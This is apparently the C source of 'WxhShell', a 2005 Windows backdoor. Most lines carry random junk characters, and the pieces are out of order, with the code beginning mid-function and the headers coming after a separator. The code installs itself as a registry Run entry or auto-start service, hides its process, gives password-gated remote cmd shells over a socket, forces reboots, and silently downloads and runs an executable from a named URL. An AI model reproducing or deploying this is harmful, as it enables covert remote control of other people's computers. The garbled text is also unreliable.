  case 'd': { cWy*K4O  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :)3$&QdHT  
    if(Boot(SHUTDOWN)) x X=IMM3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dk. 9&9mz  
    else { lpX p )r+  
    closesocket(wsh); J.+?*hcw  
    ExitThread(0); |4 d{X@`&  
    } Ozh^Q$>u  
    break; |rms[1<_  
    } #uDBF  
  // 获取shell D;T r  
  case 's': { FZ'>LZ  
    CmdShell(wsh); PY3Vu]zD  
    closesocket(wsh); \c@qtIc  
    ExitThread(0); cq+M *1;  
    break; BIB>U W  
  } o^"d2=  
  // 退出 WRU@i;l  
  case 'x': { MjF.>4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1rzq$,O  
    CloseIt(wsh); \t~u : D  
    break; S0o,)`ZB  
    } \gk3w,B?E  
  // 离开 )v$Cv|"  
  case 'q': { PezWc18  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); c 6}xnH  
    closesocket(wsh); "T=3mv%S  
    WSACleanup(); |@n{tog+-  
    exit(1); [HZCnO|N  
    break; :Pp;{=J  
        } j~0ZE -e  
  } c75vAKZ2  
  } 3YNkT"~T  
Y.hH fSp  
  // 提示信息 U"R.!=v  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RAkFgC~  
} k:uuJ|  
  } TB3T:A>2  
9j>sRE1  
  return; )9W# 5V$  
} ~uD;_Y=u)r  
dvdBRrf  
// shell模块句柄 DEeL 48{R  
int CmdShell(SOCKET sock) xo"4mbTV  
{ 0bQiUcg/  
STARTUPINFO si; b42pLbpe'E  
ZeroMemory(&si,sizeof(si)); N?<@o2{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8GAQVe^$-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; QvQf@o  
PROCESS_INFORMATION ProcessInfo; u5)A+.v  
char cmdline[]="cmd"; y:``|*+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); UDi3dH=  
  return 0; ;<GTtt# D  
} aFm]?75  
d4eCBqx  
// 自身启动模式 rL+n$p X-  
int StartFromService(void) 7 V1k$S(  
{ Vv"wf;#  
typedef struct I4p= ?Ds  
{ _e@qv;*  
  DWORD ExitStatus; F'_8pD7  
  DWORD PebBaseAddress; <rI$"=7  
  DWORD AffinityMask; %T*+t"\)  
  DWORD BasePriority; pvdZ>D-IU  
  ULONG UniqueProcessId; HG 6{`i  
  ULONG InheritedFromUniqueProcessId; [/,6O  
}   PROCESS_BASIC_INFORMATION; Rw^YTv  
jN[6JY1  
PROCNTQSIP NtQueryInformationProcess; g~["O!K3  
9@EnmtR  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :/[ZgreN6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J?ZVzKTb>}  
Pds*M?&F  
  HANDLE             hProcess; 4qXUk:C@m  
  PROCESS_BASIC_INFORMATION pbi; 8ch~UBq/  
`1v!sSR0R  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $aI MQ[(  
  if(NULL == hInst ) return 0; \gQ+@O&+  
_89G2)U=C  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); fQA)r  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); i/EiUH/~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ik NFW*p  
A,[m=9V  
  if (!NtQueryInformationProcess) return 0; RV*Zi\-X  
PC7.+;1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )Ua2x@j'C@  
  if(!hProcess) return 0; z4+6k-#):  
<ORz`^27o  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =F-^RnO%\  
Ln%_8yth  
  CloseHandle(hProcess); 10a*7 L  
@Lv_\^2/}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); j1CD;9i)%  
if(hProcess==NULL) return 0; c,%>7U(w_  
qtwmTT)  
HMODULE hMod; _~q^YZ  
char procName[255]; \$|UFx  
unsigned long cbNeeded; ~:b~f]lO  
C$;s+ALy[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !VTS $nJ4  
s;f u  
  CloseHandle(hProcess); >-+X;0&  
s1apHwJ -  
if(strstr(procName,"services")) return 1; // 以服务启动 ;-Dd\\)p  
S^n4aBm\+  
  return 0; // 注册表启动 }4MG114j  
} sU!q~`; J  
I}A#*iD  
// 主模块 Ym2m1  
int StartWxhshell(LPSTR lpCmdLine) A2bV[+Q  
{ hs uJ;4}$q  
  SOCKET wsl; @Odu.F1e  
BOOL val=TRUE; W >IKy#  
  int port=0; Ri0+nJ6  
  struct sockaddr_in door; *4VP5]!  
sjkl? _  
  if(wscfg.ws_autoins) Install(); g*AqFY7|  
:6iq{XV^  
port=atoi(lpCmdLine); &4iIzw`  
/VZU3p<~  
if(port<=0) port=wscfg.ws_port; g<c^\WG  
X0=- {<W  
  WSADATA data; XArLL5_L  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <Y6>L};  
bFXCaD!{G  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   V$D d 7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); PelV67?M  
  door.sin_family = AF_INET; #(4hX6?5AI  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); MT gEq  
  door.sin_port = htons(port); }`]^LFU5  
$&C%C\(>D  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #!@ ]%4  
closesocket(wsl); ]qRz!D%@^  
return 1; 9:~^KQ{?  
} j zp%.4/j  
hlEvL  
  if(listen(wsl,2) == INVALID_SOCKET) { 5Ozj&Zq  
closesocket(wsl); 86VuPV-  
return 1; B ~GyS"  
} o#b9M4O  
  Wxhshell(wsl); y +vcBuX  
  WSACleanup(); \bE~iz3b9  
svgi!=  
return 0; qeGOSGc_  
~epkRO="  
} gI{F"7fa=  
`-2`UGB-  
// 以NT服务方式启动 zg"ZXZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5%/%i}e~(  
{ 2 ARh-zLb  
DWORD   status = 0; 3Mt6iZW  
  DWORD   specificError = 0xfffffff; 4B(qVf&M  
BpE[9N  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?2c:|FD  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $5O&[/L  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >8- `  
  serviceStatus.dwWin32ExitCode     = 0; >cLZP#^\2E  
  serviceStatus.dwServiceSpecificExitCode = 0; Y?x3JU0_  
  serviceStatus.dwCheckPoint       = 0; k0|InP7  
  serviceStatus.dwWaitHint       = 0; #=m5*}=  
hNfL /^w  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #+ =afJ  
  if (hServiceStatusHandle==0) return; T;7|d5][  
2x CGr>X  
status = GetLastError(); SOJHw6  
  if (status!=NO_ERROR) L;<]wKs  
{ [rem,i+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =*N(8j>y  
    serviceStatus.dwCheckPoint       = 0; <#i'3TUR  
    serviceStatus.dwWaitHint       = 0; F"I@=R-n  
    serviceStatus.dwWin32ExitCode     = status; Jr zU-g  
    serviceStatus.dwServiceSpecificExitCode = specificError; K;O\Pd  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ps [rYy  
    return; @m4d4K@  
  } nMqU6X>P!  
NU"X*g-x^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Zs)9O Ju  
  serviceStatus.dwCheckPoint       = 0; +q!6zGs.  
  serviceStatus.dwWaitHint       = 0; B{<6 &bQ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 14O/R3+  
} R lu;l  
s RB8 jY  
// 处理NT服务事件,比如:启动、停止 EO^0sF<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) PT=%]o]  
{ NO)* UZ  
switch(fdwControl) 4}`MV.  
{ ?e*vvu33!  
case SERVICE_CONTROL_STOP: ~$<@:z{*  
  serviceStatus.dwWin32ExitCode = 0; -i4gzak  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ! >V 1zk  
  serviceStatus.dwCheckPoint   = 0; NaIVKo  
  serviceStatus.dwWaitHint     = 0; 3dfSu'  
  { +{&g|V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L[efiiLh$  
  } p*G_$"KpP  
  return; z> SCv;Q  
case SERVICE_CONTROL_PAUSE: =Vfj#WL  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )U?W+0[=  
  break; ~ i,my31  
case SERVICE_CONTROL_CONTINUE: &x}JC/u]fd  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  E2l.  
  break; 08Gr  
case SERVICE_CONTROL_INTERROGATE: ?Z"}RMM)8  
  break; wlJ_, wA  
}; 1Y_fX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .x&>H  
} X9>ujgK  
Fc Cxr@  
// 标准应用程序主函数 1RLSeT  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1JY4E2Q  
{ @%K 8 oYK  
m`|+_{4[n  
// 获取操作系统版本 j56Y,Tm  
OsIsNt=GetOsVer(); #&^+hx|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); qH$p]+Rk 5  
1Pbp=R/7ar  
  // 从命令行安装 .(krB% N  
  if(strpbrk(lpCmdLine,"iI")) Install(); <qu\q \  
UqH7ec  
  // 下载执行文件 LcXrD+ 1  
if(wscfg.ws_downexe) { $%<gp@Gz  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) H!N,PI?rn  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3!I8J:GZ:  
} l[gL(p"W  
5|Uub ,  
if(!OsIsNt) { iw%DQ }$  
// 如果时win9x,隐藏进程并且设置为注册表启动 yTk9+>  
HideProc(); -kkXyO8js  
StartWxhshell(lpCmdLine); |( KM 8  
} B}p/ ,4x6  
else V&G_Bu~  
  if(StartFromService()) Y\lBPp0{\v  
  // 以服务方式启动 =1D*K%  
  StartServiceCtrlDispatcher(DispatchTable); 7RO=X%0A  
else m&2m' =(  
  // 普通方式启动 !Lo{zTDW  
  StartWxhshell(lpCmdLine); jhHb[je~{4  
*GA#.$n  
return 0; `7NgQ*g.d/  
} ;YB8X&H$  
r&#q=R},p  
3x#G SS  
>Kx l+F  
===========================================  mJ-@:5  
{Su]P {oJ  
$iV3>>;eh  
8.@ yD^'  
Zhw _L  
d(&vIjy  
" 7+0hIKrFC  
Z]aSo07  
#include <stdio.h> sM4N`$Is23  
#include <string.h> m<j ^cU#J  
#include <windows.h> \.{?TB  
#include <winsock2.h> L\"$R":3{d  
#include <winsvc.h> .UJk0%1  
#include <urlmon.h> b{sFN !  
wM><DrQ  
#pragma comment (lib, "Ws2_32.lib") =w8*n2  
#pragma comment (lib, "urlmon.lib") >k:)'*  
,5q^/h  
#define MAX_USER   100 // 最大客户端连接数 t ;[Me0  
#define BUF_SOCK   200 // sock buffer RD~QNj9,T  
#define KEY_BUFF   255 // 输入 buffer z*FlZLHY  
Ih{~?(V$  
#define REBOOT     0   // 重启 2)G ZU  
#define SHUTDOWN   1   // 关机 *rWE.4=&  
0KEytm]  
#define DEF_PORT   5000 // 监听端口 q.#aeqKBP  
i cZQv]  
#define REG_LEN     16   // 注册表键长度 ,L`qV  
#define SVC_LEN     80   // NT服务名长度 9"/{gf3D  
3>;U||O  
// 从dll定义API RgEUTpX  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Drg'RR><  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); M jHeUf  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]TGJ|X  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :D&QGw(n  
7FWf,IjcGY  
// wxhshell配置信息 }(gXlF  
struct WSCFG { UF}fmDi  
  int ws_port;         // 监听端口 WS;3a}u  
  char ws_passstr[REG_LEN]; // 口令 CnAhEf)b  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5e/%Tue.  
  char ws_regname[REG_LEN]; // 注册表键名 jJ9|  
  char ws_svcname[REG_LEN]; // 服务名 ow+NT  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 o#;w >-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1W5YS +pf  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 cZ5[A  T  
int ws_downexe;       // 下载执行标记, 1=yes 0=no j&8U:Q,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" B^eea[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +1e*>jE  
g-6!+>w*>e  
}; 18a6i^7  
-O2Qz zE&  
// default Wxhshell configuration X~lOFH;}q  
struct WSCFG wscfg={DEF_PORT, sW[42A  
    "xuhuanlingzhe", i3YAK$w;&  
    1, b%AYYk)d?  
    "Wxhshell", X!r!lW  
    "Wxhshell", enZW2o97c  
            "WxhShell Service", h4sEH  
    "Wrsky Windows CmdShell Service", XxV]U{i!  
    "Please Input Your Password: ", qbB.Z#w  
  1, >GqIpfn  
  "http://www.wrsky.com/wxhshell.exe", 9;.dNdg>  
  "Wxhshell.exe" x< imMJ  
    };  d+=;sJ  
y![h  
// 消息定义模块 NmK%k jCx  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; x'}{^'}/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; m`n51i{U  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !5x"d7  
char *msg_ws_ext="\n\rExit."; F YcC2TM  
char *msg_ws_end="\n\rQuit."; |Y:T3hra61  
char *msg_ws_boot="\n\rReboot..."; InRn!~_N  
char *msg_ws_poff="\n\rShutdown..."; Ie``W b=  
char *msg_ws_down="\n\rSave to "; p_tMl%K  
P^+Og_$  
char *msg_ws_err="\n\rErr!"; O>H4hp  
char *msg_ws_ok="\n\rOK!"; \}Hk`n)Aq  
b@nbXm]Z  
char ExeFile[MAX_PATH]; H,] D}r  
int nUser = 0; ;b(/PH!O  
HANDLE handles[MAX_USER]; ZN^9w"A  
int OsIsNt; 0!xD+IA!8  
(gz|6N  
SERVICE_STATUS       serviceStatus; ~KEnZa0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; U edh4qa  
D,]m7 yFT  
// 函数声明 &AA u:  
int Install(void); ] 5c|  
int Uninstall(void); gn7pIoN  
int DownloadFile(char *sURL, SOCKET wsh); 76xgExOU?C  
int Boot(int flag); =yk#z84<  
void HideProc(void); ;9d(GP}eE  
int GetOsVer(void); V.;0F%zks5  
int Wxhshell(SOCKET wsl); `Q}.9s_ri  
void TalkWithClient(void *cs); QTM+ WD  
int CmdShell(SOCKET sock); }i?P( Au  
int StartFromService(void); JWM/np6  
int StartWxhshell(LPSTR lpCmdLine); 8&H1w9NrX_  
jt;68SA P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6]na#<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); bSBI[S  
,1QU  
// 数据结构和表定义 CEt_wKz f  
SERVICE_TABLE_ENTRY DispatchTable[] = |(Io(e  
{ \U p<m>3\  
{wscfg.ws_svcname, NTServiceMain}, 0W#.$X5  
{NULL, NULL} W&6ye  
}; @zSoPDYv,  
h (jg7R  
// 自我安装 %/s:G)  
int Install(void) Onby=Y o6  
{ DH @*Oz-  
  char svExeFile[MAX_PATH]; $  5  
  HKEY key; Z5_MSPm  
  strcpy(svExeFile,ExeFile); >L)Xyq  
^PO0(rh  
// 如果是win9x系统,修改注册表设为自启动 @^/JNtbH!  
if(!OsIsNt) { zI(b#eUF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [BmondOx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `ffWV;P  
  RegCloseKey(key); B +_D*a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u]CW5snz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hNSV}~h  
  RegCloseKey(key); qDOx5.d  
  return 0; oQFpIX;\m  
    } >e"1a/2%>&  
  } n(-XI&Kn  
} Va?wG3w  
else { znX2W0V  
L<5go\!bV  
// 如果是NT以上系统,安装为系统服务 CQ6Z[hLWF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); '0z@Jevd?  
if (schSCManager!=0) 8M8=uw~#  
{ P7<~S8)Y  
  SC_HANDLE schService = CreateService zLC\Rc4  
  ( MhHygZT[}  
  schSCManager, wIL5-k,  
  wscfg.ws_svcname, ^BSMlKyB  
  wscfg.ws_svcdisp, wQ@@|Cj4L  
  SERVICE_ALL_ACCESS, .,UpI|b  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , rEz=\yY^j'  
  SERVICE_AUTO_START, W/xb[w9v  
  SERVICE_ERROR_NORMAL, X|@|ZRN  
  svExeFile, &nTB^MF  
  NULL, *_3+ DF  
  NULL, KGzBK:  
  NULL, y~Sh|2x8v  
  NULL, .,<-lMC+  
  NULL ;g7 nG{  
  ); ~~b[X\1  
  if (schService!=0) 5k<qJ9  
  { Yc+ /="&z  
  CloseServiceHandle(schService); Mryi6XT  
  CloseServiceHandle(schSCManager);  ,`)!K}2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Sh}AGNE'  
  strcat(svExeFile,wscfg.ws_svcname); GYyP+7K4l[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { r4D6g>)h1q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); l^WFMeMD3a  
  RegCloseKey(key); &-s!ko4z  
  return 0; }=az6cLE2  
    } YjoN: z`b  
  } 'C!b($Y  
  CloseServiceHandle(schSCManager); 0=yKE J  
} 3Q Zw  
} Dm"GCV  
E;9SsA  
return 1; 7YkxIzE  
} n<y!@p^X  
I( G8cK  
// 自我卸载 \{P(s:  
int Uninstall(void) X#Ajt/XQ  
{ 7Oru{BQ">  
  HKEY key; SP 97Q-  
;HgV(d#X  
if(!OsIsNt) { /@Y/(+DE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O.  V!L  
  RegDeleteValue(key,wscfg.ws_regname); $+R0RqV$V~  
  RegCloseKey(key); TCv}N0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }q)o LC  
  RegDeleteValue(key,wscfg.ws_regname); a$l/N{<.  
  RegCloseKey(key); J}nE,U2  
  return 0; uJ{N?  
  } V2V^*9(wu@  
} XW%!#S&;X  
} Cj31'  
else { *3s4JK  
Y*dzoN.sW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4-lEo{IIM  
if (schSCManager!=0) d {T3  
{ ;sS N  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); YJ_LD6PL9  
  if (schService!=0) <._MNHC  
  { y8D'V)B  
  if(DeleteService(schService)!=0) { + i!/J  
  CloseServiceHandle(schService); d/j$_NQ&!  
  CloseServiceHandle(schSCManager); qR--lvO  
  return 0; 7fgA)dU:K  
  } wMT?p/9Blm  
  CloseServiceHandle(schService); OGzth$7A  
  } uy9k^4Cqa  
  CloseServiceHandle(schSCManager); Yvcd(2  
} }2|>Y[v2j  
} rH8w||S2U  
hmHm;l  
return 1; !dv  
} CY <,p$  
o>';-} E  
// 从指定url下载文件 2$jTj<.K  
int DownloadFile(char *sURL, SOCKET wsh) !gWV4vC  
{ a#nVRPU8m  
  HRESULT hr; %S]H  
char seps[]= "/"; ZYos.ay  
char *token; "Rf8#\Y/<  
char *file; 2fu|X#R  
char myURL[MAX_PATH]; |nk&ir6  
char myFILE[MAX_PATH]; W8'cAY  
qHt!)j9GKv  
strcpy(myURL,sURL); A<C`JN}  
  token=strtok(myURL,seps); :lcZ )6&S  
  while(token!=NULL) g PU|Gv5  
  { $ o?Wum  
    file=token; Z}5 ;K"T/  
  token=strtok(NULL,seps); .:B] a7b  
  } ?J<Y]  
\`Db|D?oy  
GetCurrentDirectory(MAX_PATH,myFILE); ?a+tL'D[  
strcat(myFILE, "\\"); &~29%Ns  
strcat(myFILE, file); *Sm$FMWQ  
  send(wsh,myFILE,strlen(myFILE),0); FYFP 6ti  
send(wsh,"...",3,0); \H!E CTI  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); hyH"  
  if(hr==S_OK) n\Uh5P1W"  
return 0; ):   
else R+ lwOVX  
return 1; " 6Hka{  
==F[5]?  
} R%Gh4y\nF  
RXP0 4  
// 系统电源模块 (Eq0 |"cj  
int Boot(int flag) \Azl6`Em  
{ x00"d$!  
  HANDLE hToken; AkrUb$ }  
  TOKEN_PRIVILEGES tkp; yQ?N*'}$  
<.s=)}'`P  
  if(OsIsNt) { /%\E2+6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); X3NHQMI   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {w$1_GU  
    tkp.PrivilegeCount = 1; 7hqa|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %3M(!X:[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); t,4q]Jt  
if(flag==REBOOT) { \Lv eZ_h5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) lpQsmd#  
  return 0; ~+d?d6*c  
} ( {ads_l  
else { XO~xbG7>gZ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) gQ %'2m+  
  return 0; I2hX;pk,  
} "Sz pFw  
  } US A!N  
  else { Ad xCP\S&  
if(flag==REBOOT) { !([Q1r{u  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) br*L|s\P\9  
  return 0; JhRXfIK>{  
} 5M4mFC6  
else { "K5n|{#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) x48Y#"'  
  return 0; L:"i,K#P  
} J?&lpsB3_l  
} 7d*SZmD  
Ml1yk)3G  
return 1; ER~m &JI  
} 4J Bm|Pf(  
>Ip>x!wi  
// win9x进程隐藏模块 Qctm"g|  
void HideProc(void) =|O`al  
{ `X'-4/Y  
:[ z=u  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); KY9sa/xO  
  if ( hKernel != NULL ) fo9O+e s  
  { F/sXr(7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?}\aG3_4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |q"WJQ  
    FreeLibrary(hKernel); c+c3C8s*8  
  } <GC<uB |p  
OiH tobM  
return; 1H`T=:P?  
} 6*u#^">,<  
t33/QW r  
// 获取操作系统版本 uF_gfjR[m  
int GetOsVer(void) -e_ IDE  
{ _IBI x\F  
  OSVERSIONINFO winfo; ;|Id g"2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /Aoo h~  
  GetVersionEx(&winfo); H RJz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) lp3 A B  
  return 1; 7K>FC T  
  else &;S.1tg  
  return 0; t-*oVX3D  
} c-.t8X,5(~  
rK )aR  
// 客户端句柄模块 +O>!x#)&"  
int Wxhshell(SOCKET wsl) 0l#gS;  
{ kKFmTo   
  SOCKET wsh; (NK$2A/p  
  struct sockaddr_in client; QNj hA'[T  
  DWORD myID; p!BZTwP  
Cg<:C?>!p  
  while(nUser<MAX_USER) A ^@:Ps  
{ Jy?s'tc  
  int nSize=sizeof(client);  5 fY\0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); JYB"\VV  
  if(wsh==INVALID_SOCKET) return 1; j3jf:7 /\  
2V %si6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (1p[K-J)r  
if(handles[nUser]==0) (~}IoQp>  
  closesocket(wsh); >U.TkB  
else |3`Sd;^;  
  nUser++; )/kkvI()l  
  } F!OVx<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); S'm&Ll2i@  
G,I[zhX\  
  return 0; a]XQM$T$  
} c+chwU0W  
t &XH:w&j  
// 关闭 socket o"dX3jd  
void CloseIt(SOCKET wsh)  w=5D>]  
{ ovJ#2_  
closesocket(wsh); # le<R  
nUser--; b-R!oP+vP  
ExitThread(0); g((glr)6M  
} ,{P*ZK3u  
#s'9Ydd  
// 客户端请求句柄 Wh6jr=>G  
void TalkWithClient(void *cs) d7s? c  
{ WtOpxAq  
k4r;t: O^  
  SOCKET wsh=(SOCKET)cs; Mqc"  
  char pwd[SVC_LEN]; AB<|iJC  
  char cmd[KEY_BUFF]; ?Iy$'am]L  
char chr[1]; _ #]uk&5a  
int i,j; QSPneYD  
A.tONPi  
  while (nUser < MAX_USER) { j]th6  
|6/k2d{,(  
if(wscfg.ws_passstr) { A8 V7\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O|j(CaF  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1H sfCky{  
  //ZeroMemory(pwd,KEY_BUFF); ? RL[#d+y  
      i=0; ): HjpJvF  
  while(i<SVC_LEN) { 4TcKs}z  
&1)4B  
  // 设置超时 1Q1NircJ  
  fd_set FdRead; ,>%2`Z)  
  struct timeval TimeOut; A*#.7Np!"  
  FD_ZERO(&FdRead); 1sp>UBG  
  FD_SET(wsh,&FdRead); j}R!'m(P'  
  TimeOut.tv_sec=8; <y#-I%ed  
  TimeOut.tv_usec=0; H0<(j(JK  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |>o]+V  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Tbv", b  
z%-Yz- G9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P__JN\{9  
  pwd=chr[0]; 70bI}/u  
  if(chr[0]==0xd || chr[0]==0xa) { d l_ h0  
  pwd=0; {"|P  
  break; OI0#@_L&  
  } 2z9\p%MX  
  i++; _K"|}bM  
    } W>3[+wB  
e~C5{XEE  
  // 如果是非法用户,关闭 socket Sq^f}q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); qW*JB4`?a  
} BoQLjS{kN  
:xOne<@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); j\l9|vpp  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IB9[Lx  
~\_aT2j0  
while(1) { cojtQ D6  
(T;4'c  
  ZeroMemory(cmd,KEY_BUFF); ?/ xk  
gz fs9e  
      // 自动支持客户端 telnet标准   Yd]y`J?#  
  j=0; NAd|n+[d  
  while(j<KEY_BUFF) { 4qMqA T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b[&A,ZPh$@  
  cmd[j]=chr[0]; '&/ 35d9|*  
  if(chr[0]==0xa || chr[0]==0xd) { ny# ?^.1  
  cmd[j]=0; }  IJ  
  break; CqW:m*c  
  } 7)&}riQ  
  j++; #ra"(/)  
    } $n_'# m2LE  
O.61-rp  
  // 下载文件 o5=1  
  if(strstr(cmd,"http://")) { Q9,H 0r-%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); lS"g[O+  
  if(DownloadFile(cmd,wsh)) o!:V=F  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >YP6/w,e  
  else I(LBc  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h| q!Qsnj'  
  } _,*ld#'s  
  else { !RX\">z  
05= $Dnv  
    switch(cmd[0]) { /{Ff)<Q.Z  
  I5EKS0MQ!  
